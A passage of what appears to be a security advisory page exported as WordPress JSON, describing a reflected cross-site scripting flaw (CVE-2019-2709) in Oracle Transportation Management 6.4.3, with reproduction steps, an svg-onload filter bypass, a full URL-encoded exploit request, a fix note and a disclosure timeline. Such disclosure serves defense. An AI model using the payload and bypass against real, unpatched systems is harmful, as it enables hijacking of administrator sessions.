: Fixed<\/span><\/p>\n<\/h3>\nDescription<\/h3>\n
Reflected XSS attack (or non-persistent attack) occur when a malicious script is reflected off of a web application to the victim\u2019s browser. The attack is typically delivered via email or a web site and activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts.<\/p>\n
The vulnerability is located in the administrator section of the application. If an attacker succeeds to execute a specific GET request via CSRF inside the browser of a logged in administrator, he will execute javascript in the context of the administrator user. In result he can perform actions on behalf of the administrator and thus potentially compromise complete application.<\/p>\n
<\/span><\/p>\nProof of Concept (PoC)<\/h3>\n
The vulnerability present is a reflected cross site scripting attack. The vulnerable parameter is \u201equery_type\u201c.<\/p>\n
The request is send if the user:
1.) Logs in as an administrator
2.) Selects the menu \u201eRestricted Party Screening\u201c
3.) Selects the sub menu \u201eRestricted Party Screening\u201c.
4.) Clicks the button \u201eMatch\u201c to start a search. The search parameters may be empty.
5.) Inside the displayed table clicks on a column to sort the corresponding results.<\/p>\n
Since the parameter is URL-encoded, the attacker also has to encode his payload. Due to incorrect filtering \u201e> enables the attacker to break out of the context and insert custom HTML code.
The application tries to prevent Croos-Site Scripting attacks by filtering e.g. <script> or <img> tags with embedded javascript. But for example the string <svg onload=alert(1);> is not being filtered.<\/p>\n
The complete Payload would look like this: urlencode(\u201e><svg onload=alert(1);>) .<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]GET \/GC3\/gtm.webserver.query.QueryResultSortServlet\/1552062217898?ct=ODI3NjMyMjQxNjY5MzU5NDU5MQ%3D%3D&bcKey=MTU1MjA2MjIxNzkwMjox&sortField=FirstName&sortType=DESC&query_type=%22%3e%3c%73%76%67%0c%6f%6e%6c%6f%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%75%73%64%2e%64%65%22%3b%3e HTTP\/1.1
\nHost: xxx.yyy.zzz
\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:60.0) Gecko\/20100101 Firefox\/60.0
\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8
\nAccept-Language: en-US,en;q=0.5
\nAccept-Encoding: gzip, deflate
\nReferer: http:\/\/xxx.yyy.zzz\/GC3\/gtm.webserver.query.QueryResultSortServlet\/1552062217898?ct=ODI3NjMyMjQxNjY5MzU5NDU5MQ%3D%3D&bcKey=MTU1MjA2MjIxNzkwMjox&sortField=FirstName&sortType=ASC&query_type=
\nCookie: OTMi=2rVd7wQ7iXICrkfRPqoRYC3SUkoIqFCHRg8l197RCJbhrvK6v-gF!-1223214642
\nConnection: close
\nUpgrade-Insecure-Requests: 1<\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
\n
\n
Fix<\/h3>\n
Make sure to encode the user supplied input.<\/span><\/p>\n<\/h3>\nTimeline<\/h3>\n\n- 2019-03-26 First contact request via secalert_us@oracle.com<\/li>\n
- 2019-03-27 Oracle Security Team opened a ticket for the issue<\/li>\n
- 2019-04-13 Status update: Issue is fixed in CPUApr2019<\/li>\n
- 2019-07-31 Security advisory released<\/li>\n<\/ul>\n
<\/h3>\nCredits<\/h3>\n
This security vulnerability was found by Luca Rupp of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
usd-2019-0014 | Oracle Transportation Management (OTM)\/6.4.3 Advisory ID: usd-2019-0014CVE Number: CVE-2019-2709Affected Product: Oracle Transportation ManagementAffected Version: 6.4.3Vulnerability Type: Reflected Cross-Site ScriptingSecurity Risk: HighVendor URL: https:\/\/www.oracle.comVendor Status: Fixed Description Reflected XSS attack (or non-persistent attack) occur when a malicious script is reflected off of a web application to the victim\u2019s browser. The attack is typically delivered […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16603","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16603"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16603\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}